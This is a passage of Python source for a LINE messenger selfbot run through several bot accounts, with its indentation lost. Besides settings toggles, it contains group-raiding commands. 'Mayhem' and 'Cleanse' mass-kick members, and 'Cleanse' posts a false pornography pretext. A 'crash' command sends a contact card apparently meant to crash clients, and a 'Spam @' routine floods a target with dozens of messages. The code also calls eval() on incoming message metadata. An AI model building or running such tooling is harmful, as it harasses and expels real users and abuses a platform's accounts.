elif "Autokick:on" in msg.text:
wait["AutoKick"] = True
cl.sendText(msg.to,"AutoKick Active")
elif "Autokick:off" in msg.text:
wait["AutoKick"] = False
cl.sendText(msg.to,"AutoKick off")
#-----------------------------------------------------------------
#=================================================================
elif msg.text in ["Protect:hight","protect:hight"]:
if msg.from_ in admin:
if wait["protectionOn"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"turned into high protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"turned into high protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["protectionOn"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"turned into high protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"turned into high protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
elif msg.text in ["Auto blockqr:off","auto blockqr:off"]:
if msg.from_ in admin:
if wait["qr"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Protection QR PRO Off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["qr"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection QR PRO Off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Already off\n\n"+ datetime.today().strftime('%H:%M:%S'))
elif msg.text in ["Welcome message:on"]:
if msg.from_ in admin:
if wait["welcomemsg"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"welcome message on\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"welcome message on\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["welcomemsg"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"welcome message on\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"welcome message on")
elif msg.text in ["Auto blockqr:on","auto blockqr:on"]:
if msg.from_ in admin:
if wait["qr"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already on\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Protection QR PRO On\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["qr"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Protection QR PRO On\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"Already on")
elif msg.text in ["Welcome message:off"]:
if msg.from_ in admin:
if wait["welcomemsg"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"welcome message off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"welcome message off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["welcomemsg"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"welcome message off\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"welcome message off\n\n"+ datetime.today().strftime('%H:%M:%S'))
elif msg.text in ["Protect:low","Protect:low"]:
if msg.from_ in admin:
if wait["protectionOn"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"turned into low protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"turned into low protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
wait["protectionOn"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"turned into low protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
else:
cl.sendText(msg.to,"turned into low protection\n\n"+ datetime.today().strftime('%H:%M:%S'))
#=======================================================
elif msg.text.lower() == "crash":
if msg.from_ in admin:
msg.contentType = 13
msg.contentMetadata = {'mid': "ufc7b7bd9cf929f01d7d1c7c2f3719368"}
cl.sendMessage(msg)
#-----------------=============================
#===============================================================
elif msg.text in ["Auto like:on"]:
if msg.from_ in admin:
if wait["likeOn"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done。")
else:
wait["likeOn"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already。")
elif msg.text in ["Auto like:off"]:
if msg.from_ in admin:
if wait["likeOn"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Done。")
else:
wait["likeOn"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already。")
#==========================================================
elif msg.text in ["Invite"]:
if msg.from_ in admin:
wait["winvite"] = True
cl.sendText(msg.to,"send contact")
#-----------------------------------------------------------------
elif msg.text in ["Settings","Set"]:
if msg.from_ in admin:
print "Setting pick up..."
md="list of bot settings\n\n"
if wait["likeOn"] == True: md+="Auto like : on\n"
else:md+="Auto like : off\n"
if wait["winvite"] == True: md+="Invite : on\n"
else:md+="Invite : off\n"
if wait["pname"] == True: md+="Namelock : on\n"
else:md+="Namelock : off\n"
if wait["contact"] == True: md+="Notice : on\n"
else: md+="Notice : off\n"
if wait["autoJoin"] == True: md+="Auto join : on\n"
else: md +="Auto join : off\n"
if wait["autoCancel"]["on"] == True:md+="Group cancel :" + str(wait["autoCancel"]["members"]) + "\n"
else: md+= "Group cancel : off\n"
if wait["leaveRoom"] == True: md+="Auto leave : on\n"
else: md+="Auto leave : off\n"
if wait["clock"] == True: md+="Clock Name : on\n"
else:md+="Clock Name : off\n"
if wait["autoAdd"] == True: md+="Auto add : on\n"
else:md+="Auto add : off\n"
if wait["commentOn"] == True: md+="Comment : on\n"
else:md+="Comment : off\n"
if wait["Backup"] == True: md+="Backup : on\n"
else:md+="Backup : off\n"
if wait["qr"] == True: md+="Protect QR : on\n"
else:md+="Protect QR : off\n"
if wait["welcomemsg"] == True: md+="welcome message : on\n"
else:md+="welcome message : off\n"
if wait["protectionOn"] == True: md+="Protection : hight\n\n"+ datetime.today().strftime('%H:%M:%S')
else:md+="Protection : low\n\n"+ datetime.today().strftime('%H:%M:%S')
cl.sendText(msg.to,md)
#-----------------------------------------------------------------
elif "Album:" in msg.text:
gid = msg.text.replace("Album:","")
album = cl.getAlbum(gid)
if album["result"]["items"] == []:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Tidak ada album")
else:
cl.sendText(msg.to,"Dalam album tidak")
else:
if wait["lang"] == "JP":
mg = "Berikut ini adalah album dari target"
else:
mg = "Berikut ini adalah subjek dari album"
for y in album["result"]["items"]:
if "photoCount" in y:
mg += str(y["title"]) + ":" + str(y["photoCount"]) + "\n"
else:
mg += str(y["title"]) + ":0 Pieces\n"
cl.sendText(msg.to,mg)
#-----------------------------------------------------------------
elif msg.text.lower() == 'all out':
gid = cl.getGroupIdsJoined()
gid = ki.getGroupIdsJoined()
gid = ki2.getGroupIdsJoined()
gid = ki3.getGroupIdsJoined()
for i in gid:
ki.leaveGroup(i)
ki2.leaveGroup(i)
ki3.leaveGroup(i)
if wait["lang"] == "JP":
cl.sendText(msg.to,"Bot Is Out In all groups ✅")
else:
cl.sendText(msg.to,"He declined all invitations")
#-----------------------------------------------------------------
elif msg.text.lower() == 'gcancel':
gid = cl.getGroupIdsInvited()
for i in gid:
cl.rejectGroupInvitation(i)
if wait["lang"] == "JP":
cl.sendText(msg.to,"I declined all invitations")
else:
cl.sendText(msg.to,"He declined all invitations")
#-----------------------------------------------------------------
elif "Hapus:" in msg.text:
gid = msg.text.replace("Hapus:","")
albums = cl.getAlbum(gid)["result"]["items"]
i = 0
if albums != []:
for album in albums:
cl.deleteAlbum(gid,album["gid"])
cl.sendText(msg.to,str(i) + "Soal album telah dihapus")
i += 1
if wait["lang"] == "JP":
cl.sendText(msg.to,str(i) + "Soal album telah dihapus")
else:
cl.sendText(msg.to,str(i) + "Hapus kesulitan album")
elif msg.text.lower() == 'add on':
if wait["autoAdd"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto add set to on")
else:
cl.sendText(msg.to,"Auto add already on")
else:
wait["autoAdd"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto add set to on")
else:
cl.sendText(msg.to,"Auto add already on")
elif msg.text.lower() == 'add off':
if wait["autoAdd"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto add set to off")
else:
cl.sendText(msg.to,"Auto add already off")
else:
wait["autoAdd"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Auto add set to off")
else:
cl.sendText(msg.to,"Auto add already off")
#elif "Pesan set:" in msg.text:
wait["message"] = msg.text.replace("Pesan set:","")
cl.sendText(msg.to,"We changed the message")
#elif msg.text.lower() == 'pesan cek':
if wait["lang"] == "JP":
cl.sendText(msg.to,"Pesan tambahan otomatis telah ditetapkan sebagai berikut \n\n" + wait["message"])
else:
cl.sendText(msg.to,"Pesan tambahan otomatis telah ditetapkan sebagai berikut \n\n" + wait["message"])
elif "Come Set:" in msg.text:
c = msg.text.replace("Come Set:","")
if c in [""," ","\n",None]:
cl.sendText(msg.to,"Merupakan string yang tidak bisa diubah")
else:
wait["comment"] = c
cl.sendText(msg.to,"Ini telah diubah👈\n\n" + c)
elif msg.text in ["Com on","Com:on","Comment on"]:
if wait["commentOn"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Aku berada di")
else:
cl.sendText(msg.to,"To open")
else:
wait["commentOn"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"オンã«ã—ã¾ã—ãŸ")
else:
cl.sendText(msg.to,"è¦äº†å¼€")
elif msg.text in ["Come off"]:
if wait["commentOn"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Hal ini sudah off")
else:
cl.sendText(msg.to,"It is already turned off")
else:
wait["come on"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Off")
else:
cl.sendText(msg.to,"To turn off")
elif msg.text in ["Come","Comment"]:
cl.sendText(msg.to," THANKS FOR ADD\n Creator: line.me/R/ti/p/~addtapigakpc\n ~-™TEAM LONGOR™-~" + str(wait["comment"]))
elif msg.text.lower() == 'url':
if msg.toType == 2:
g = cl.getGroup(msg.to)
if g.preventJoinByTicket == True:
g.preventJoinByTicket = False
cl.updateGroup(g)
gurl = cl.reissueGroupTicket(msg.to)
cl.sendText(msg.to,"line://ti/g/" + gurl)
else:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Hal ini tidak dapat digunakan di luar kelompok")
else:
cl.sendText(msg.to,"Tidak dapat digunakan untuk kelompok selain")
#-----------------------------------------------------------------
elif msg.text.lower() == 'url1':
if msg.toType == 2:
g = cl.getGroup(msg.to)
if g.preventJoinByTicket == True:
g.preventJoinByTicket = False
ki.updateGroup(g)
gurl = ki.reissueGroupTicket(msg.to)
ki.sendText(msg.to,"line://ti/g/" + gurl)
else:
if wait["lang"] == "JP":
ki.sendText(msg.to,"It can not be used outside the group")
else:
ki.sendText(msg.to,"Can not be used for groups other than")
#-----------------------------------------------------------------
elif 'Gurl ' in msg.text.lower():
if msg.toType == 2:
gid = msg.text.replace("Gurl ","")
gurl = cl.reissueGroupTicket(gid)
cl.sendText(msg.to,"line://ti/g/" + gurl)
else:
cl.sendText(msg.to,"Can not be used for groups other than")
elif msg.text in ["Come bl"]:
wait["wblack"] = True
cl.sendText(msg.to,"Please send contacts from the person you want to add to the blacklistô€œô€…”")
elif msg.text in ["Come hapus"]:
wait["dblack"] = True
cl.sendText(msg.to,"Please send contacts from the person you want to add from the blacklistô€œô€…”")
elif msg.text in ["Come cek"]:
if wait["commentBlack"] == {}:
cl.sendText(msg.to,"Nothing in the blacklistô€œ🛡")
else:
cl.sendText(msg.to,"The following is a blacklistô€œ")
mc = ""
for mi_d in wait["commentBlack"]:
mc += "・" +cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
elif msg.text in ["Mimic on","mimic on"]:
if wait3["copy"] == True:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already on")
else:
cl.sendText(msg.to,"Mimic On")
else:
wait3["copy"] = True
if wait["lang"] == "JP":
cl.sendText(msg.to,"Mimic On")
else:
cl.sendText(msg.to,"Already on")
elif msg.text in ["Mimic off","mimic:off"]:
if wait3["copy"] == False:
if wait["lang"] == "JP":
cl.sendText(msg.to,"Already on")
else:
cl.sendText(msg.to,"Mimic Off")
else:
wait3["copy"] = False
if wait["lang"] == "JP":
cl.sendText(msg.to,"Mimic Off")
else:
cl.sendText(msg.to,"Already on")
elif msg.text in ["Target list"]:
if wait3["target"] == {}:
cl.sendText(msg.to,"nothing")
else:
mc = "Target mimic user\n"
for mi_d in wait3["target"]:
mc += "✔️ "+cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
elif "Mimic target " in msg.text:
if wait3["copy"] == True:
siapa = msg.text.replace("Mimic target ","")
if siapa.rstrip(' ') == "me":
wait3["copy2"] = "me"
cl.sendText(msg.to,"Mimic change to me")
elif siapa.rstrip(' ') == "target":
wait3["copy2"] = "target"
cl.sendText(msg.to,"Mimic change to target")
else:
cl.sendText(msg.to,"I dont know")
elif "Target @" in msg.text:
target = msg.text.replace("Target @","")
gc = cl.getGroup(msg.to)
targets = []
for member in gc.members:
if member.displayName == target.rstrip(' '):
targets.append(member.mid)
if targets == []:
cl.sendText(msg.to, "User not found")
else:
for t in targets:
wait3["target"][t] = True
cl.sendText(msg.to,"Target added")
elif "Del target @" in msg.text:
target = msg.text.replace("Del target @","")
gc = cl.getGroup(msg.to)
targets = []
for member in gc.members:
if member.displayName == target.rstrip(' '):
targets.append(member.mid)
if targets == []:
cl.sendText(msg.to, "User not found")
else:
for t in targets:
del wait3["target"][t]
cl.sendText(msg.to,"Target deleted")
#-----------------------------------------------------------------
elif "Nk " in msg.text:
nk0 = msg.text.replace("Nk ","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("@","")
nk3 = nk2.rstrip()
_name = nk3
gs = ki.getGroup(msg.to)
ginfo = ki.getGroup(msg.to)
#gs.preventJoinByTicket = False
#cl.updateGroup(gs)
invsend = 0
#Ticket = cl.reissueGroupTicket(msg.to)
#cl.acceptGroupInvitationByTicket(msg.to,Ticket)
time.sleep(0.01)
targets = []
for s in gs.members:
if _name in s.displayName:
targets.append(s.mid)
if targets == []:
sendMessage(msg.to,"user does not exist")
pass
else:
for target in targets:
try:
ki.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
#cl.leaveGroup(msg.to)
gs = cl.getGroup(msg.to)
gs.preventJoinByTicket = True
cl.updateGroup(gs)
gs.preventJoinByTicket(gs)
cl.updateGroup(gs)
#-----------------------------------------------------------
elif ("Fuck " in msg.text):
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
cl.kickoutFromGroup(msg.to,[target])
except:
cl.sendText(msg.to,"Limited ❌")
elif ("Fuck1 " in msg.text):
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
ki.kickoutFromGroup(msg.to,[target])
except:
ki.sendText(msg.to,"Limited ❌")
elif ("Fuck2 " in msg.text):
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
ki2.kickoutFromGroup(msg.to,[target])
except:
ki2.sendText(msg.to,"Limited ❌")
elif ("Fuck3 " in msg.text):
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
ki3.kickoutFromGroup(msg.to,[target])
except:
ki3.sendText(msg.to,"Limited ❌")
#-----------------------------------------------------------------
elif ("Cek " in msg.text):
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mi = cl.getContact(key1)
cl.sendText(msg.to,"Mid:" + key1)
#-----------------------------------------------------------------
elif "Gc" == msg.text:
try:
group = cl.getGroup(msg.to)
GS = group.creator.mid
M = Message()
M.to = msg.to
M.contentType = 13
M.contentMetadata = {'mid': GS}
cl.sendMessage(M)
except:
W = group.members[0].mid
M = Message()
M.to = msg.to
M.contentType = 13
M.contentMetadata = {'mid': W}
cl.sendMessage(M)
cl.sendText(msg.to,"old user")
#-----------------------------------------------------------------
elif msg.text in ["Invitgc"]:
if msg.toType == 2:
ginfo = cl.getGroup(msg.to)
gCreator = ginfo.creator.mid
try:
cl.findAndAddContactsByMid(gCreator)
cl.inviteIntoGroup(msg.to,[gCreator])
print "success inv gCreator"
except:
pass
elif msg.text in ["1Invitgc"]:
if msg.toType == 2:
ginfo = ki.getGroup(msg.to)
gCreator = ginfo.creator.mid
try:
ki.findAndAddContactsByMid(gCreator)
ki.inviteIntoGroup(msg.to,[gCreator])
print "success inv gCreator"
except:
pass
elif msg.text in ["2Invitgc"]:
if msg.toType == 2:
ginfo = ki2.getGroup(msg.to)
gCreator = ginfo.creator.mid
try:
ki2.findAndAddContactsByMid(gCreator)
ki2.inviteIntoGroup(msg.to,[gCreator])
print "success inv gCreator"
except:
pass
elif msg.text in ["3Invitgc"]:
if msg.toType == 2:
ginfo = ki3.getGroup(msg.to)
gCreator = ginfo.creator.mid
try:
ki3.findAndAddContactsByMid(gCreator)
ki3.inviteIntoGroup(msg.to,[gCreator])
print "success inv gCreator"
except:
pass
#-----------------------------------------------------------------
elif "Mayhem" in msg.text:
if msg.toType == 2:
print "ok"
_name = msg.text.replace("Mayhem","")
gs = ki.getGroup(msg.to)
gs = ki2.getGroup(msg.to)
ki.sendText(msg.to,"「 Mayhem 」\nMayhem is STARTING♪\n' abort' to abort♪")
ki.sendText(msg.to,"「 Mayhem 」\n46 victims shall yell hul·la·ba·loo♪\n/ˌhələbəˈlo͞o,ˈhələbəˌlo͞o/")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Not found")
else:
for target in targets:
if not target in Bots:
try:
klist=[cl,ki,ki2]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
ki.sendText(msg.to,"Mayhem done")
#-----------------------------------------------------------------
elif "Invitme:" in msg.text:
if msg.from_ in admin:
gid = msg.text.replace("Invitme:","")
if gid == "":
cl.sendText(msg.to,"Invalid group id")
else:
try:
cl.findAndAddContactsByMid(msg.from_)
cl.inviteIntoGroup(gid,[msg.from_])
ki.findAndAddContactsByMid(msg.from_)
ki.inviteIntoGroup(gid,[msg.from_])
ki2.findAndAddContactsByMid(msg.from_)
ki2.inviteIntoGroup(gid,[msg.from_])
ki3.findAndAddContactsByMid(msg.from_)
ki3.inviteIntoGroup(gid,[msg.from_])
except:
cl.sendText(msg.to,"Not In The Group")
ki.sendText(msg.to,"Not In The Group")
ki2.sendText(msg.to,"Not In The Group")
ki3.sendText(msg.to,"Not In The Group")
#-----------------------------------------------------------------
elif 'music ' in msg.text.lower():
if msg.from_ in admin:
try:
songname = msg.text.lower().replace('music ','')
params = {'songname': songname}
r = requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data = r.text
data = json.loads(data)
for song in data:
hasil = 'This is Your Music\n'
hasil += 'Judul : ' + song[0]
hasil += '\nDurasi : ' + song[1]
hasil += '\nLink Download : ' + song[4]
cl.sendText(msg.to, hasil)
cl.sendText(msg.to, "Please Wait for audio...")
cl.sendAudioWithURL(msg.to, song[3])
except Exception as njer:
cl.sendText(msg.to, str(njer))
#-----------------------------------------------------------------
elif msg.text in ["Kalender"]:
wait2['setTime'][msg.to] = datetime.today().strftime('TANGGAL : %Y-%m-%d \nHARI : %A \nJAM : %H:%M:%S')
cl.sendText(msg.to, "•KALENDER\n\n" + (wait2['setTime'][msg.to])) #-----------------------------------------------------------------
elif 'wikipedia ' in msg.text.lower():
try:
wiki = msg.text.lower().replace("wikipedia ","")
wikipedia.set_lang("id")
pesan="Title ("
pesan+=wikipedia.page(wiki).title
pesan+=")\n\n"
pesan+=wikipedia.summary(wiki, sentences=1)
pesan+="\n"
pesan+=wikipedia.page(wiki).url
cl.sendText(msg.to, pesan)
except:
try:
pesan="Over Text Limit! Please Click link\n"
pesan+=wikipedia.page(wiki).url
cl.sendText(msg.to, pesan)
except Exception as e:
cl.sendText(msg.to, str(e))
#-----------------------------------------------------------------
elif "Cleanse" in msg.text:
if msg.toType == 2:
print "ok"
_name = msg.text.replace("Cleanse","")
gs = ki.getGroup(msg.to)
gs = ki2.getGroup(msg.to)
ki.sendText(msg.to," Maaf\nGrub Kamu Saya Bersihkan\nKarna Mengandung Unsur Porno")
ki.sendText(msg.to,"Salam Dari TEAM LONGGOR")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
ki.sendText(msg.to,"Not found")
else:
for target in targets:
if not target in Bots:
try:
klist=[cl,ki,ki2]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
ki.sendText(msg.to,"Cleanse done")
#-----------------------------------------------------------------
elif "Spam @" in msg.text:
_name = msg.text.replace("Spam @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
ki.sendText(g.mid,"Spammed !")
ki2.sendText(g.mid,"Spammed !")
ki3.sendText(g.mid,"Spammed !")
cl.sendText(g.mid,"Spammed !")
